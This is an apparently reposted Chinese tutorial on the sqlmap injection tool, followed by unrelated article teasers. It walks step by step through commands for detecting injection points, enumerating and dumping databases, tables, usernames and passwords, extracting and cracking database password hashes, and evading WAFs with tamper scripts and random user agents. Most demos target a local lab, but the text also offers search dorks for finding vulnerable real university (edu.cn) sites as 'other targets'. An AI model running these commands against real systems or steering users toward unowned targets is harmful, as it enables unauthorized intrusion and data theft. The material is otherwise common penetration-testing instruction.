SQLmap使用教程图文教程(超详细)

news2024/11/27 1:37:41

「作者主页」:士别三日wyx
「作者简介」:CSDN top100、阿里云博客专家、华为云享专家、网络安全领域优质创作者
「推荐专栏」:对网络安全感兴趣的小伙伴可以关注专栏《网络安全入门到精通》

在这里插入图片描述

SQLmap

  • 一、目标
    • 1、指定url
    • 2、指定文件(批量检测)
    • 3、指定数据库/表/字段
    • 4、post请求
    • 5、cookie注入
  • 二、脱库
    • 1、获取数据库
    • 2、获取表
    • 3、获取字段
    • 4、获取字段类型
    • 5、获取值(数据)
    • 6、获取用户
    • 7、获取主机名
    • 8、搜索库、表、字段。
    • 9、正在执行的SQL语句
  • 三、WAF绕过
  • 三、其他

SQLmap是一款自动化SQL注入工具,kali自带。路径 /usr/share/sqlmap

打开终端,输入sqlmap,出现以下界面,就说明SQLmap可用。

在这里插入图片描述

本篇文章使用本地搭建的SQL-labs靶场作为演示目标,其他目标可使用必应搜索以下类型的网站:

inurl:news.asp?id=site:edu.cn
inurl:news.php?id= site:edu.cn
inurl:news.aspx?id=site:edu.cn

在这里插入图片描述

快速入门;SQLmap(常规)使用步骤

1、检测注入点

sqlmap -u 'http://xx/?id=1'

2、查看所有数据库

sqlmap -u 'http://xx/?id=1' --dbs

3、查看当前使用的数据库

sqlmap -u 'http://xx/?id=1' --current-db

4、查看数据表

sqlmap -u 'http://xx/?id=1' -D 'security' --tables

5、查看字段

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --tables

6、查看数据

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --dump

一、目标

检测注入点前,需要指定需要检测的对象。

1、指定url

-u 参数,指定需要检测的url,单/双引号包裹。中间如果有提示,就输入y。

提示:SQLmap不能直接扫描网站漏洞,先用其他扫描工具扫出注入点,再用SQLmap验证并利用注入点。

sqlmap -u 'http://192.168.31.180/sqli-labs-master/Less-1/?id=1'

扫描完成后,告诉我们存在的注入类型和使用的数据库及版本。

在这里插入图片描述

2、指定文件(批量检测)

准备一个文件,写上需要检测的多个url,一行一个。

在这里插入图片描述

-m 指定文件,可以批量扫描文件中的url。

sqlmap -m urls.txt

在这里插入图片描述

逐个扫描url,需要确认就按y。

在这里插入图片描述

扫描完一个,就会提示存在的注入点。

在这里插入图片描述

然后再按y扫描下一个url。

在这里插入图片描述

3、指定数据库/表/字段

-D 指定目标数据库,单/双引号包裹,常配合其他参数使用。

-T 指定目标表,单/双引号包裹,常配合其他参数使用。

-C 指定目标字段,单/双引号包裹,常配合其他参数使用。

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' -C 'username' --dump

4、post请求

检测post请求的注入点,使用BP等工具抓包,将http请求内容保存到txt文件中。

-r 指定需要检测的文件,SQLmap会通过post请求方式检测目标。

sqlmap -r bp.txt

5、cookie注入

--cookie 指定cookie的值,单/双引号包裹。

sqlmap -u "http://xx?id=x" --cookie 'cookie'

二、脱库

获取所有内容

sqlmap -u 'http://xx/?id=1' -a

-a 就是 all 的意思,获取所有能获取的内容,会消耗很长时间。

在这里插入图片描述

1、获取数据库

--dbs 获取数据库

1.1、获取数据库版本

sqlmap -u 'http://xx/?id=1' -b

在这里插入图片描述

最后面显示数据库的版本,这里检测的版本是 5.7.26。

在这里插入图片描述

1.2、获取当前使用的数据库

sqlmap -u 'http://xx/?id=1' --current-db

在这里插入图片描述

在最后面显示当前使用的数据库的名字是 security。

在这里插入图片描述

1.3、获取所有数据库

sqlmap -u 'http://xx/?id=1' --dbs

在这里插入图片描述

最后面显示所有数据库的名字。

在这里插入图片描述

2、获取表

--tables 获取表

2.1、获取表,可以指定数据库

sqlmap -u 'http://xx/?id=1' -D 'security' --tables

在这里插入图片描述

最后面显示数据库(security)里所有的表名。

在这里插入图片描述

2.2、同时获取多个库的表名,库名用逗号分隔。

sqlmap -u 'http://xx/?id=1' -D 'security,sys' --tables

在这里插入图片描述

2.3、不指定数据库,默认获取数据库中所有的表。

sqlmap -u 'http://xx/?id=1' --tables

在这里插入图片描述
最后面显示每个数据库下都有哪些表。

在这里插入图片描述


3、获取字段

--columns 参数用来获取字段。

3.1、获取字段,可以指定库和表

提示:只指定库名但不指定表名会报错。

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --columns

在这里插入图片描述

最后面显示表(users)中的所有字段。

在这里插入图片描述

3.2、不指定表名,默认获取当前数据库中所有表的字段。

sqlmap -u 'http://xx/?id=1' --columns

在这里插入图片描述

4、获取字段类型

--schema 获取字段类型,可以指定库或指定表。不指定则获取数据库中所有字段的类型。

sqlmap -u 'http://xx/?id=1' -D 'security' --schema

最后面显示每个表的字段类型。

在这里插入图片描述

5、获取值(数据)

--dump 获取值,也就是表中的数据。可以指定具体的库、表、字段。

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' -C 'username,password' --dump

在这里插入图片描述
获取指定库中所有表的数据。

sqlmap -u 'http://xx/?id=1' -D 'security' --dump

在这里插入图片描述

默认获取表中的所有数据,可以使用 --start --stop 指定开始和结束的行,只获取一部分数据。

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --start 1 --stop 5  --dump

在这里插入图片描述


6、获取用户

6.1、获取当前登录数据库的用户

sqlmap -u 'http://192.168.31.180/sqli-labs-master/Less-1/?id=1' --current-user

在这里插入图片描述

最后面显示当前登录数据库的用户是 root@localhost。

在这里插入图片描述

6.2、获取所有用户

--users 获取数据库的所有用户名。

sqlmap -u 'http://xx/?id=1' --users

在这里插入图片描述

最后面显示数据库的所有用户名。

在这里插入图片描述

6.3、获取用户密码

--passwords 获取所有数据库用户的密码(哈希值)。

数据库不存储明文密码,只会将密码加密后,存储密码的哈希值,所以这里只能查出来哈希值;当然,你也可以借助工具把它们解析成明文。

在这里插入图片描述

最后面显示数据库用户名对应的密码(哈希值)。

在这里插入图片描述

6.4、获取用户权限

--privileges 查看每个数据库用户都有哪些权限。

sqlmap -u 'http://192.168.31.180/sqli-labs-master/Less-1/?id=1' --privileges

在这里插入图片描述

最后面显示每个数据库用户所拥有的权限。这里root的权限最多,很明显它就是数据库的管理员账号。

在这里插入图片描述

6.5、判断当前用户是不是管理员

--is-dba 判断当前登录的用户是不是数据库的管理员账号。

sqlmap -u 'http://xx/?id=1' --is-dba

在这里插入图片描述

如果是管理员,就在最后面显示 true。

在这里插入图片描述


7、获取主机名

--hostname 获取服务器主机名。

sqlmap -u 'http://xx/?id=1' --hostname

在这里插入图片描述

最后面显示服务器的主机名是 DESKTOP。

在这里插入图片描述


8、搜索库、表、字段。

--search 搜索数据库中是否存在指定库/表/字段,需要指定库名/表名/字段名。

搜索数据库中有没有 security 这个数据库:

sqlmap -u 'http://xx/?id=1' -D 'security' --search

在这里插入图片描述

需要手动选择模糊匹配(1)还是完全匹配(2),而后返回匹配的结果。

在这里插入图片描述

也可以搜索表

sqlmap -u 'http://xxx/?id=1' -T 'users' --search

或者搜索字段

sqlmap -u 'http://xx/?id=1' -C 'username' --search

9、正在执行的SQL语句

--statements 获取数据库中正在执行的SQL语句。

sqlmap -u 'http://xx/?id=1' --statements

在这里插入图片描述

最后面显示正在执行的SQL语句。

在这里插入图片描述

三、WAF绕过

--tamper 指定绕过脚本,绕过WAF或ids等。

sqlmap -u 'http://xx/?id=1' --tamper 'space2comment.py'

在这里插入图片描述

SQLmap内置了很多绕过脚本,在 /usr/share/sqlmap/tamper/ 目录下:

在这里插入图片描述

脚本按照用途命名,比如 space2comment.py 是指,用/**/代替空格。

当然,你也可以根据内置脚本格式,自己定义绕过脚本。


三、其他

--batch (默认确认)不再询问是否确认。

--method=GET 指定请求方式(GET/POST)

--random-agent 随机切换UA(User-Agent)

--user-agent ' ' 使用自定义的UA(User-Agent)

--referer ' ' 使用自定义的 referer

--proxy="127.0.0.1:8080" 指定代理

--threads 10 设置线程数,最高10

--level=1 执行测试的等级(1-5,默认为1,常用3)

--risk=1 风险级别(0~3,默认1,常用1),级别提高会增加数据被篡改的风险。


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/665348.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

ICLR Oral总分世界第五(10,8,8):可学习的行为控制,超越DeepMind和OpenAI突破Atari人类世界纪录...

点击蓝字 关注我们 AI TIME欢迎每一位AI爱好者的加入! 作者介绍 范嘉骏 清华大学计算机技术专业二年级研究生,主要研究深度强化学习 报告题目 可学习的行为控制,超越DeepMind和OpenAI突破Atari人类世界纪录 内容简介 探索问题一直是深度强化学…

【kafka】kafka基础架构

文章目录 1、kafka简介2、kafka的特性3、kafka的应用场景4、kafka架构(重点)4.1、broker4.2、topic4.3、partition4.4、offset4.5、producer4.6、consumer4.7、consumer group4.8、leader4.9、follower4.10、rebalance 5、对kafka架构的几点解释6、几种M…

突破软件测试的瓶颈

软件测试两三年,编程能力半生不熟,三流学校出身,E很差,工作主要还是写各种测试文档和手工测试;相信不少测试人员都和这情况相似;下面就这几个方面谈一下自己的看法。 关于编程的能力 之前有同学问我测试要学…

青翼自研-模块化互联产品 • 模拟采集FMC子卡产品资料

FMC123是一款基于FMC标准规范,实现2路14-bit、3GSPS ADC采集功能、2路16-bit 12.6GSPS回放子卡模块。该模块遵循VITA57.1标准,可直接与FPGA载卡配合使用,板卡ADC器件采用ADI公司的AD9208芯片,,与ADI公司的AD9689可以实…

C国演义 [第五章]

第五章 子集题目理解步骤树形结构递归函数递归结束的条件单层逻辑 代码 子集II题目理解步骤树形结构递归函数递归结束的条件单层逻辑 代码 子集 力扣链接 给你一个整数数组 nums ,数组中的元素 互不相同 。返回该数组所有可能的子集(幂集)。…

MySQL索引、事务、与存储引擎

MySQL索引、事务、与存储引擎 一、索引 1.概念 索引是一个排序的列表,包含索引字段的值和其相对应的行数据所在的物理地址2.作用 优点 加快表的查询速度 可以对字段排序缺点 额外占用磁盘空间 更新包含索引的表效率会更慢3.索引工作模式 没有索引的情况下&am…

利用C语言创建图书管理系统

不仅仅是图书信息管理系统 基于双链表,采用面向对象编程方法制作的图书管理系统 ❞ 效果演示 root用户:账号:0,密码:0 普通用户:账号:1001,密码:666666 图书信息 没有完全…

Spring MVC各种参数进行封装

目录 一、简单数据类型 1.1 控制器方法 1.2 测试结果 二、对象类型 2.1 单个对象 2.1.1 控制器方法 2.1.2 测试结果 2.2 关联对象 2.2.1 控制器方法 2.2.2 测试结果 三、集合类型 3.1 简单数据类型集合 3.1.1 控制方法 3.1.2 测试结果 3.2 对象数据类型集合 3.…

KMP算法实现strStr(c++代码实现)

1 KMP算法简介 KMP算法是一个解决字符串匹配问题的算法,由D.E.Knuth,J.H.Morris和V.R.Pratt提出。当给你一个主串str和一个子串substr,如何确定substr在主串中出现的位置?如果没有学习KMP算法,我们可能会写出这样的代…

测试(三)——黑盒测试

一、测试用例的基本要素 测试环境、操作步骤、测试数据、预期结果 测试用例的好处: 1.能提高测试效率、节省测试时间 2.测试用例是自动化测试用例的前提 二、测试用例的设计方法 2.1基于需求进行测试用例设计 2.2具体的设计方法 2.2.1等价类 有效等价类&#x…

c++学生信息管理系统

前言 c课程作业–学生信息管理系统 在 原博客C通讯录管理系统 https://www.csdn.net/tags/OtDagg2sODU2Ni1ibG9n.html 的基础上进行了一点修改。 学生信息管理系统 基本功能要求: 能使用文件的打开,关闭,读写等操作,实现 1.连…

STM32单片机(六)TIM定时器 -> 第八节:TIM编码器练习(编码器接口测速)

❤️ 专栏简介:本专栏记录了从零学习单片机的过程,其中包括51单片机和STM32单片机两部分;建议先学习51单片机,其是STM32等高级单片机的基础;这样再学习STM32时才能融会贯通。 ☀️ 专栏适用人群 :适用于想要…

Linux学习入门笔记

计算机硬件 计算机五大基本部件 控制器 -----> 协调各个部件运算器 -----> 算术、逻辑运算存储单元 ----->内存、外存输入单元输出单元 cup 由控制器、运算器组成 计算机操作系统 操作系统 OS 管理和控制计算机系统中的硬件和软件资源,用于在用户与系统…

gitLens插件简单使用

1.安装 在vscode中的插件管理输入如下后下载 GitLens — Git supercharged 2.配置 点击文件--首选项--设置 点击右上角设置小图标 3.github使用 首先仓库文件一定是要git init是git所管理的 1.在代码文件夹下使用git init创建仓库 2.打开vscode的git管理 3.点击添加暂存区…

Triton教程 --- 优化

Triton教程 — 优化 文章目录 Triton教程 --- 优化优化设置动态批处理程序模型实例 特定于框架的优化带有 TensorRT 优化的 ONNX (ORT-TRT)具有 OpenVINO 优化的 ONNXTensorFlow 与 TensorRT 优化 (TF-TRT)TensorFlow JIT 图优化TensorFlow 自动 FP16 优化 NUMA优化主机策略 Tr…

python找出所有重复数字的三位数(如110)注意重复数字(如111除外) ​要求打印所有满足条件的三位数及个数,每行打印五个

一、编程题目 python找出所有重复数字的三位数(如110)注意重复数字(如111除外) ​要求打印所有满足条件的三位数及个数,每行打印五个。 二、实现思路 要实现判断数字是否重复,脑袋里的第一反应就是使用循环…

在办公套件 ONLYOFFICE 中使用 AI 插件:自动生成文本/图片、单词释义、翻译等

想必大家多少都体验过各种人工智能应用,它们跟办公套件结合简直就是打工人和学生们的王炸。除了在Office全家桶中可以使用AI插件,在开源办公套件 ONLYOFFICE 中也能使用它。 什么是 ONLYOFFICE ONLYOFFICE 是一个开源办公套件,由总部位于总部…

OpenMMLab-AI实战营第二期-课程笔记-Class 4:深度学习预训练与MMPretrain

Class4:深度学习预训练与MMPretrain 课程链接:深度学习预训练与MMPretrain_哔哩哔哩_bilibili 相关repo:open-mmlab/mmpretrain: OpenMMLab Pre-training Toolbox and Benchmark (github.com) 文章目录 Class4:深度学习预训练与MM…

系统工程 - 记录一次调试USB设备低功耗应用的过程

系统工程 - 记录一次调试USB设备低功耗应用的过程 文章目录 系统工程 - 记录一次调试USB设备低功耗应用的过程需求功耗测量方法分析功耗来源LED功耗MCU功耗板子漏电 软件改善功耗调整tinyusb协议栈源码降低主频电脑唤醒usb设备退出低功耗进入STOP模式 总结 需求 最近在同客户做…

【Python 随练】寻找完数

题目: 一个数如果恰好等于它的因子之和,这个数就称为"完数"。例如 61+2+3.编程找出 1000 以内的所有完数。 简介: 在本篇博客中,我们将解决一个数学问题:如何找出 1000 以内的所有…